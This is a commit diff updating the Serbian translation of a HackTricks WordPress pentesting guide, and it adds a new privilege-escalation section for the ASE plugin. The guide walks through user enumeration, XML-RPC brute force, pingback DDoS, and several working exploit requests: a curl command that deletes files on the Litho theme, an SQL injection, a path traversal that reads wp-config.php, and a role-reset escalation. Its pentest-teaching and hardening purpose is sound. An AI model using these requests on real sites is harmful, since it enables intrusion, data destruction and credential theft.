mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-web/wordpress.md
This commit is contained in:
parent
0cbc8622f1
commit
a897b3ef91
@ -28,21 +28,21 @@
|
||||
- `wp-includes/` Ovo je direktorijum gde se čuvaju osnovne datoteke, kao što su sertifikati, fontovi, JavaScript datoteke i dodaci.
|
||||
- `wp-sitemap.xml` U WordPress verzijama 5.5 i većim, WordPress generiše XML datoteku mape sajta sa svim javnim postovima i javno upitnim tipovima postova i taksonomijama.
|
||||
|
||||
**Post eksploatacija**
|
||||
**Post exploitation**
|
||||
|
||||
- Datoteka `wp-config.php` sadrži informacije potrebne WordPress-u za povezivanje sa bazom podataka, kao što su ime baze podataka, host baze podataka, korisničko ime i lozinka, ključevi za autentifikaciju i soli, i prefiks tabela baze podataka. Ova konfiguraciona datoteka se takođe može koristiti za aktiviranje DEBUG moda, što može biti korisno u rešavanju problema.
|
||||
|
||||
### Dozvole korisnika
|
||||
|
||||
- **Administrator**
|
||||
- **Urednik**: Objavljuje i upravlja svojim i tuđim postovima
|
||||
- **Autor**: Objavljuje i upravlja svojim postovima
|
||||
- **Saradnik**: Piše i upravlja svojim postovima, ali ih ne može objaviti
|
||||
- **Pretplatnik**: Pregleda postove i uređuje svoj profil
|
||||
- **Editor**: Objavljuje i upravlja svojim i tuđim postovima
|
||||
- **Author**: Objavljuje i upravlja svojim postovima
|
||||
- **Contributor**: Piše i upravlja svojim postovima, ali ih ne može objaviti
|
||||
- **Subscriber**: Pregleda postove i uređuje svoj profil
|
||||
|
||||
## **Pasivna enumeracija**
|
||||
|
||||
### **Dobijanje verzije WordPress-a**
|
||||
### **Dobijanje WordPress verzije**
|
||||
|
||||
Proverite da li možete pronaći datoteke `/license.txt` ili `/readme.html`
|
||||
|
||||
@ -83,7 +83,7 @@ Verovatno nećete moći da pronađete sve moguće Plugin-e i Teme. Da biste ih o
|
||||
|
||||
### Korisnici
|
||||
|
||||
- **ID Brute:** Dobijate validne korisnike sa WordPress sajta Brute Forcing-om korisničkih ID-eva:
|
||||
- **ID Brute:** Dobijate validne korisnike sa WordPress sajta Brute Forcing-om ID-eva korisnika:
|
||||
```bash
|
||||
curl -s -I -X GET http://blog.example.com/?author=1
|
||||
```
|
||||
@ -97,11 +97,11 @@ Još jedan `/wp-json/` krajnji tačka koja može otkriti neke informacije o kori
|
||||
```bash
|
||||
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
```
|
||||
Napomena da ovaj krajnji tačka izlaže samo korisnike koji su napravili post. **Samo informacije o korisnicima koji imaju ovu funkciju omogućenu biće pružene**.
|
||||
Napomena da ovaj krajnji tačka izlaže samo korisnike koji su napravili post. **Samo informacije o korisnicima koji imaju ovu funkciju omogućenu će biti pružene**.
|
||||
|
||||
Takođe, imajte na umu da **/wp-json/wp/v2/pages** može da otkrije IP adrese.
|
||||
Takođe, napomena da **/wp-json/wp/v2/pages** može da otkrije IP adrese.
|
||||
|
||||
- **Enumeracija korisničkih imena za prijavu**: Kada se prijavljujete na **`/wp-login.php`**, **poruka** je **drugačija** u zavisnosti od toga da li je **korisničko ime postoji ili ne**.
|
||||
- **Enumeracija korisničkih imena za prijavu**: Kada se prijavljujete na **`/wp-login.php`**, **poruka** je **drugačija** u zavisnosti od toga da li je navedeno **korisničko ime postoji ili ne**.
|
||||
|
||||
### XML-RPC
|
||||
|
||||
@ -132,11 +132,11 @@ Da biste proverili da li je aktivan, pokušajte da pristupite _**/xmlrpc.php**_
|
||||
```
|
||||
Poruka _"Pogrešno korisničko ime ili lozinka"_ unutar odgovora sa kodom 200 treba da se pojavi ako akreditivi nisu validni.
|
||||
|
||||
 (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
|
||||
 (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
|
||||
|
||||
.png>)
|
||||
|
||||
Korišćenjem ispravnih akreditiva možete da otpremite datoteku. U odgovoru će se pojaviti putanja ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
|
||||
Korišćenjem ispravnih akreditiva možete otpremiti datoteku. U odgovoru će se pojaviti putanja ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
|
||||
```html
|
||||
<?xml version='1.0' encoding='utf-8'?>
|
||||
<methodCall>
|
||||
@ -176,7 +176,7 @@ Ova metoda je namenjena programima, a ne ljudima, i stara je, stoga ne podržava
|
||||
|
||||
**DDoS ili skeniranje portova**
|
||||
|
||||
Ako možete pronaći metodu _**pingback.ping**_ unutar liste, možete naterati Wordpress da pošalje proizvoljan zahtev bilo kom hostu/portu.\
|
||||
Ako možete pronaći metodu _**pingback.ping**_ unutar liste, možete naterati Wordpress da pošalje proizvoljan zahtev bilo kojem hostu/portu.\
|
||||
Ovo se može koristiti da se zatraži **hiljade** Wordpress **sajtova** da **pristupe** jednoj **lokaciji** (tako da se izazove **DDoS** u toj lokaciji) ili možete to koristiti da naterate **Wordpress** da **skanira** neku internu **mrežu** (možete naznačiti bilo koji port).
|
||||
```html
|
||||
<methodCall>
|
||||
@ -217,7 +217,7 @@ Preporučuje se da se onemogući Wp-Cron i da se kreira pravi cronjob unutar hos
|
||||
|
||||
Pokušajte da pristupite _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ i Wordpress sajt može da pošalje zahtev ka vama.
|
||||
|
||||
Ovo je odgovor kada ne radi:
|
||||
Ovo je odgovor kada ne funkcioniše:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -229,7 +229,7 @@ https://github.com/t0gu/quickpress/blob/master/core/requests.go
|
||||
|
||||
Ovaj alat proverava da li **methodName: pingback.ping** postoji za putanju **/wp-json/oembed/1.0/proxy** i ako postoji, pokušava da ih iskoristi.
|
||||
|
||||
## Automatic Tools
|
||||
## Automatski alati
|
||||
```bash
|
||||
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
|
||||
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
|
||||
@ -237,14 +237,14 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec
|
||||
```
|
||||
## Dobijanje pristupa prepisivanjem bita
|
||||
|
||||
Više od pravog napada, ovo je radoznalost. U CTF-u [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) mogli ste da prebacite 1 bit iz bilo kog wordpress fajla. Tako ste mogli da prebacite poziciju `5389` fajla `/var/www/html/wp-includes/user.php` da NOP-ujete NOT (`!`) operaciju.
|
||||
Više od pravog napada, ovo je radoznalost. U CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) mogli ste da prebacite 1 bit iz bilo kog wordpress fajla. Tako ste mogli da prebacite poziciju `5389` fajla `/var/www/html/wp-includes/user.php` da NOP-ujete NOT (`!`) operaciju.
|
||||
```php
|
||||
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
|
||||
return new WP_Error(
|
||||
```
|
||||
## **Panel RCE**
|
||||
|
||||
**Modifikovanje php iz teme koja se koristi (potrebne su admin kredencijali)**
|
||||
**Modifikovanje php iz teme koja se koristi (potrebne admin kredencijale)**
|
||||
|
||||
Izgled → Urednik teme → 404 Šablon (s desne strane)
|
||||
|
||||
@ -302,16 +302,16 @@ Ova metoda uključuje instalaciju malicioznog plugina za koji se zna da je ranji
|
||||
3. **Plugin Activation**: Kada je plugin uspešno instaliran, mora se aktivirati kroz kontrolnu tablu.
|
||||
4. **Exploitation**:
|
||||
- Sa instaliranim i aktiviranim pluginom "reflex-gallery", može se iskoristiti jer je poznato da je ranjiv.
|
||||
- Metasploit framework pruža exploit za ovu ranjivost. Učitajte odgovarajući modul i izvršite specifične komande, može se uspostaviti meterpreter sesija, što omogućava neovlašćen pristup sajtu.
|
||||
- Metasploit framework pruža exploit za ovu ranjivost. Učitajte odgovarajući modul i izvršite specifične komande da biste uspostavili meterpreter sesiju, što omogućava neovlašćen pristup sajtu.
|
||||
- Napominje se da je ovo samo jedna od mnogih metoda za iskorišćavanje WordPress sajta.
|
||||
|
||||
Sadržaj uključuje vizuelne prikaze koji prikazuju korake u WordPress kontrolnoj tabli za instalaciju i aktivaciju plugina. Međutim, važno je napomenuti da je iskorišćavanje ranjivosti na ovaj način ilegalno i neetično bez odgovarajuće dozvole. Ove informacije treba koristiti odgovorno i samo u legalnom kontekstu, kao što je pentesting sa izričitom dozvolom.
|
||||
Sadržaj uključuje vizuelne prikaze koraka u WordPress kontrolnoj tabli za instalaciju i aktivaciju plugina. Međutim, važno je napomenuti da je iskorišćavanje ranjivosti na ovaj način ilegalno i neetično bez odgovarajuće dozvole. Ove informacije treba koristiti odgovorno i samo u legalnom kontekstu, kao što je pentesting sa izričitom dozvolom.
|
||||
|
||||
**Za detaljnije korake proverite:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
|
||||
**For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
|
||||
|
||||
## From XSS to RCE
|
||||
|
||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ je skripta dizajnirana da eskalira **Cross-Site Scripting (XSS)** ranjivost na **Remote Code Execution (RCE)** ili druge kritične ranjivosti u WordPress-u. Za više informacija proverite [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Pruža **podršku za Wordpress verzije 6.X.X, 5.X.X i 4.X.X i omogućava:**
|
||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ je skripta dizajnirana da eskalira **Cross-Site Scripting (XSS)** ranjivost na **Remote Code Execution (RCE)** ili druge kritične ranjivosti u WordPress-u. Za više informacija pogledajte [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Pruža **podršku za Wordpress verzije 6.X.X, 5.X.X i 4.X.X i omogućava:**
|
||||
- _**Privilege Escalation:**_ Kreira korisnika u WordPress-u.
|
||||
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Uploadujte svoj prilagođeni plugin (backdoor) u WordPress.
|
||||
- _**(RCE) Built-In Plugin Edit:**_ Uredite ugrađene plugine u WordPress-u.
|
||||
@ -336,7 +336,7 @@ Znanje o tome kako Wordpress dodatak može izložiti funkcionalnost je ključno
|
||||
|
||||
- **`wp_ajax`**
|
||||
|
||||
Jedan od načina na koji dodatak može izložiti funkcije korisnicima je putem AJAX handler-a. Ovi handler-i mogu sadržati logiku, greške u autorizaciji ili autentifikaciji. Štaviše, često se dešava da će ove funkcije bazirati i autentifikaciju i autorizaciju na postojanju wordpress nonce-a koji **bilo koji korisnik autentifikovan u Wordpress instanci može imati** (nezavisno od njegove uloge).
|
||||
Jedan od načina na koji dodatak može izložiti funkcije korisnicima je putem AJAX handler-a. Ovi handler-i mogu sadržati logiku, greške u autorizaciji ili autentifikaciji. Štaviše, često se dešava da će ove funkcije zasnivati i autentifikaciju i autorizaciju na postojanju wordpress nonce-a koji **bilo koji korisnik autentifikovan u Wordpress instanci može imati** (nezavisno od njegove uloge).
|
||||
|
||||
Ovo su funkcije koje se mogu koristiti za izlaganje funkcije u dodatku:
|
||||
```php
|
||||
@ -362,7 +362,7 @@ $this->namespace, '/get/', array(
|
||||
```
|
||||
`permission_callback` je povratna funkcija koja proverava da li je dati korisnik ovlašćen da pozove API metodu.
|
||||
|
||||
**Ako se koristi ugrađena funkcija `__return_true`, jednostavno će preskočiti proveru korisničkih dozvola.**
|
||||
**Ako se koristi ugrađena funkcija `__return_true`, jednostavno će preskočiti proveru dozvola korisnika.**
|
||||
|
||||
- **Direktan pristup php datoteci**
|
||||
|
||||
@ -370,13 +370,13 @@ Naravno, Wordpress koristi PHP i datoteke unutar dodataka su direktno dostupne s
|
||||
|
||||
### Neautentifikovano proizvoljno brisanje datoteka putem wp_ajax_nopriv (Litho Tema <= 3.0)
|
||||
|
||||
WordPress teme i dodaci često izlažu AJAX rukovaoce putem `wp_ajax_` i `wp_ajax_nopriv_` hook-ova. Kada se koristi varijanta **_nopriv_**, **povratna funkcija postaje dostupna neautentifikovanim posetiocima**, tako da svaka osetljiva akcija mora dodatno implementirati:
|
||||
WordPress teme i dodaci često izlažu AJAX rukovaoce kroz `wp_ajax_` i `wp_ajax_nopriv_` hook-ove. Kada se koristi varijanta **_nopriv_**, **povratna funkcija postaje dostupna neautentifikovanim posetiocima**, tako da svaka osetljiva akcija mora dodatno implementirati:
|
||||
|
||||
1. Proveru **kapaciteta** (npr. `current_user_can()` ili barem `is_user_logged_in()`), i
|
||||
2. **CSRF nonce** validiran sa `check_ajax_referer()` / `wp_verify_nonce()`, i
|
||||
3. **Strogu sanitizaciju / validaciju unosa**.
|
||||
|
||||
Litho multipurpose tema (< 3.1) je zaboravila ta 3 kontrola u funkciji *Remove Font Family* i završila je sa slanjem sledećeg koda ( pojednostavljeno):
|
||||
Litho multipurpose tema (< 3.1) je zaboravila ta 3 kontrola u funkciji *Ukloni Font Family* i završila je sa isporukom sledećeg koda ( pojednostavljeno):
|
||||
```php
|
||||
function litho_remove_font_family_action_data() {
|
||||
if ( empty( $_POST['fontfamily'] ) ) {
|
||||
@ -403,7 +403,7 @@ Problemi koje uvodi ovaj deo koda:
|
||||
|
||||
#### Eksploatacija
|
||||
|
||||
Napadač može obrisati bilo koju datoteku ili direktorijum **ispod osnovnog direktorijuma za upload** (obično `<wp-root>/wp-content/uploads/`) slanjem jednog HTTP POST zahteva:
|
||||
Napadač može obrisati bilo koju datoteku ili direktorijum **ispod osnovnog direktorijuma za otpremanje** (obično `<wp-root>/wp-content/uploads/`) slanjem jednog HTTP POST zahteva:
|
||||
```bash
|
||||
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
|
||||
-d 'action=litho_remove_font_family_action_data' \
|
||||
@ -444,6 +444,70 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_
|
||||
|
||||
---
|
||||
|
||||
### Eskalacija privilegija putem zastare vraćanja uloge i nedostatka autorizacije (ASE "Pogledaj Admin kao Ulogu")
|
||||
|
||||
Mnogi dodaci implementiraju funkciju "pogledaj kao uloga" ili privremeno prebacivanje uloga tako što čuvaju originalne uloge u korisničkim metapodacima kako bi ih kasnije mogli vratiti. Ako putanja vraćanja zavisi samo od parametara zahteva (npr., `$_REQUEST['reset-for']`) i liste koju održava dodatak bez provere sposobnosti i važeće nonce, to postaje vertikalna eskalacija privilegija.
|
||||
|
||||
Primer iz stvarnog sveta pronađen je u dodatku Admin and Site Enhancements (ASE) (≤ 7.6.2.1). Grana resetovanja vraćala je uloge na osnovu `reset-for=<username>` ako se korisničko ime pojavilo u internom nizu `$options['viewing_admin_as_role_are']`, ali nije izvršila ni `current_user_can()` proveru ni verifikaciju nonce pre nego što je uklonila trenutne uloge i ponovo dodala sačuvane uloge iz korisničkih metapodataka `_asenha_view_admin_as_original_roles`:
|
||||
```php
|
||||
// Simplified vulnerable pattern
|
||||
if ( isset( $_REQUEST['reset-for'] ) ) {
|
||||
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
|
||||
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];
|
||||
|
||||
if ( in_array( $reset_for_username, $usernames, true ) ) {
|
||||
$u = get_user_by( 'login', $reset_for_username );
|
||||
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
|
||||
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
|
||||
foreach ( $orig as $r ) { $u->add_role( $r ); }
|
||||
}
|
||||
}
|
||||
```
|
||||
Zašto je podložan eksploataciji
|
||||
|
||||
- Veruje `$_REQUEST['reset-for']` i opciji dodatka bez autorizacije na serverskoj strani.
|
||||
- Ako je korisnik prethodno imao više privilegija sačuvanih u `_asenha_view_admin_as_original_roles` i bio snižen, može ih obnoviti tako što će pritisnuti putanju za resetovanje.
|
||||
- U nekim implementacijama, svaki autentifikovani korisnik mogao bi pokrenuti resetovanje za drugo korisničko ime koje je još uvek prisutno u `viewing_admin_as_role_are` (pokidana autorizacija).
|
||||
|
||||
Preduslovi za napad
|
||||
|
||||
- Ranjava verzija dodatka sa omogućenom funkcijom.
|
||||
- Ciljani nalog ima zastarelu ulogu sa visokim privilegijama sačuvanu u korisničkoj meti iz ranijeg korišćenja.
|
||||
- Bilo koja autentifikovana sesija; nedostajući nonce/kapacitet u toku resetovanja.
|
||||
|
||||
Eksploatacija (primer)
|
||||
```bash
|
||||
# While logged in as the downgraded user (or any auth user able to trigger the code path),
|
||||
# hit any route that executes the role-switcher logic and include the reset parameter.
|
||||
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
|
||||
curl -s -k -b 'wordpress_logged_in=...' \
|
||||
'https://victim.example/wp-admin/?reset-for=<your_username>'
|
||||
```
|
||||
Na ranjivim verzijama ovo uklanja trenutne uloge i ponovo dodaje sačuvane originalne uloge (npr., `administrator`), efikasno povećavajući privilegije.
|
||||
|
||||
Checklist za detekciju
|
||||
|
||||
- Potražite funkcije za prebacivanje uloga koje čuvaju “originalne uloge” u korisničkoj meti (npr., `_asenha_view_admin_as_original_roles`).
|
||||
- Identifikujte putanje za resetovanje/obnavljanje koje:
|
||||
- Čitaju korisnička imena iz `$_REQUEST` / `$_GET` / `$_POST`.
|
||||
- Modifikuju uloge putem `add_role()` / `remove_role()` bez `current_user_can()` i `wp_verify_nonce()` / `check_admin_referer()`.
|
||||
- Autorizuju na osnovu niza opcija dodatka (npr., `viewing_admin_as_role_are`) umesto na osnovu sposobnosti aktera.
|
||||
|
||||
Ojačavanje
|
||||
|
||||
- Sprovodite provere sposobnosti na svakoj grani koja menja stanje (npr., `current_user_can('manage_options')` ili strožije).
|
||||
- Zahtevajte nonce za sve mutacije uloga/dozvola i verifikujte ih: `check_admin_referer()` / `wp_verify_nonce()`.
|
||||
- Nikada ne verujte korisničkim imenima koja su dostavljena putem zahteva; rešavajte ciljnog korisnika na serverskoj strani na osnovu autentifikovanog aktera i eksplicitne politike.
|
||||
- Nevažeće stanje “originalnih uloga” prilikom ažuriranja profila/uloga kako biste izbegli zastarelo vraćanje visokih privilegija:
|
||||
```php
|
||||
add_action( 'profile_update', function( $user_id ) {
|
||||
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
|
||||
}, 10, 1 );
|
||||
```
|
||||
- Razmotrite čuvanje minimalnog stanja i korišćenje vremenski ograničenih, sposobnostima zaštićenih tokena za privremene promene uloga.
|
||||
|
||||
---
|
||||
|
||||
## WordPress zaštita
|
||||
|
||||
### Redovne ažuriranja
|
||||
@ -472,7 +536,7 @@ Takođe, **instalirajte samo pouzdane WordPress dodatke i teme**.
|
||||
|
||||
### Neautentifikovana SQL injekcija putem nedovoljne validacije (WP Job Portal <= 2.3.2)
|
||||
|
||||
WP Job Portal dodatak za zapošljavanje je izložio **savecategory** zadatak koji na kraju izvršava sledeći ranjivi kod unutar `modules/category/model.php::validateFormData()`:
|
||||
WP Job Portal dodatak za zapošljavanje izložio je **savecategory** zadatak koji na kraju izvršava sledeći ranjivi kod unutar `modules/category/model.php::validateFormData()`:
|
||||
```php
|
||||
$category = WPJOBPORTALrequest::getVar('parentid');
|
||||
$inquery = ' ';
|
||||
@ -524,11 +588,13 @@ curl -G https://victim.com/wp-admin/admin-post.php \
|
||||
--data-urlencode 'entity_id=1' \
|
||||
--data-urlencode 'file_name=../../../wp-config.php'
|
||||
```
|
||||
Server odgovara sa sadržajem `wp-config.php`, otkrivajući DB akreditive i auth ključeve.
|
||||
Server odgovara sadržajem `wp-config.php`, otkrivajući DB akreditive i auth ključeve.
|
||||
|
||||
## Reference
|
||||
|
||||
- [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
|
||||
- [Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/)
|
||||
- [Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites](https://patchstack.com/articles/rare-case-of-privilege-escalation-in-ase-plugin-affecting-100k-sites/)
|
||||
- [ASE 7.6.3 changeset – delete original roles on profile update](https://plugins.trac.wordpress.org/changeset/3211945/admin-site-enhancements/tags/7.6.3/classes/class-view-admin-as-role.php?old=3208295&old_path=admin-site-enhancements%2Ftags%2F7.6.2%2Fclasses%2Fclass-view-admin-as-role.php)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user